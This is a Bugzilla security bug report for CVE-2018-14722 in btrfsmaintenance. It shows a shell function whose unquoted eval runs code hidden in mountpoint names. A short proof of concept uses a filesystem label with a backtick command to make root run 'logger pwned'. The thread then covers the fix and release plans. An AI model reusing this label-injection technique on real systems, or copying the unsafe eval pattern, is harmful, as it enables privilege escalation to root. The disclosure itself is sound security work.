Bugzilla – Bug 1102721
VUL-0: CVE-2018-14722: btrfsmaintenance: Code execution
Last modified: 2021-07-19 14:26:25 UTC
Hi, I just stumbled across the evaluate_auto_mountpoint function in /usr/share/btrfsmaintenance/btrfsmaintenance-functions. # function: evaluate_auto_mountpoint # parameter: A variable name # # this function checks whether the variable contains the special keyword "auto" # if yes, all currently mounted btrfs filesystems are evaluated and their mountpoints # are put into the parameter variable evaluate_auto_mountpoint() { MOUNTPOINTSVAR=\$"$1" if [ "$(eval expr \"$MOUNTPOINTSVAR\")" = "auto" ]; then ... # find one (and only one) corresponding mountpoint for each btrfs device node for DEVICE in $BTRFS_DEVICES; do MNT=$(findmnt --types btrfs --first-only --noheadings --output "TARGET" --source "$DEVICE") if [ -n "$MNTLIST" ]; then MNTLIST="$MNTLIST:$MNT" else MNTLIST="$MNT" fi done echo "evaluate mounted filesystems: $MNTLIST" eval "$1=$MNTLIST" fi } The 'eval "$1=$MNTLIST"' allows bash command evaluation. This is triggered by btrfs-{scrub,balance,trim}.timer units if the respective option in /etc/sysconfig/btrfsmaintenance is set to "auto". Fortunately that is not the default. PoC: > mkfs.btrfs -fL '`logger pwned`' /dev/sdc2 (mount as user using your favorite tool) > (as root, to accelerate) systemctl start btrfs-trim > journalctl ... Jul 26 10:55:57 linux-e202.suse.de btrfs-trim.sh[23928]: evaluate mounted filesystems: /run/media/fvogt/`logger pwned` Jul 26 10:55:57 linux-e202.suse.de root[23943]: pwned ... Cheers, Fabian
CVE-2018-14722 has been assigned to this. We are planning to announce this via linux-distros to let other distributions know. This will give us (at maximum) a two weeks window of opportunity to get this fixed in time.
Created attachment 779339 [details] expand-auto-safely-v2 Fixed typo, updated changelog.
Comment on attachment 779339 [details] expand-auto-safely-v2 There's a typo in the commit message: > mkfs.btrfs --label "`/evil/command`' /dev/sdx The only bug that remains is that with ":" in mountpoints it won't do its job for that device, but not break anything else. So not a security relevant bug AFAICT.
making public
Upstream release 0.4.2 contains the fix, now submitted to Factory. I'll continue with SLE15 update.
(In reply to David Sterba from comment #19) didn't see it until now, please submit. Thank you
not yet submitte for SUSE:SLE-15:Update. we rate it below cvss v3.1 score 7, so we will not addres it for SLE 15 update.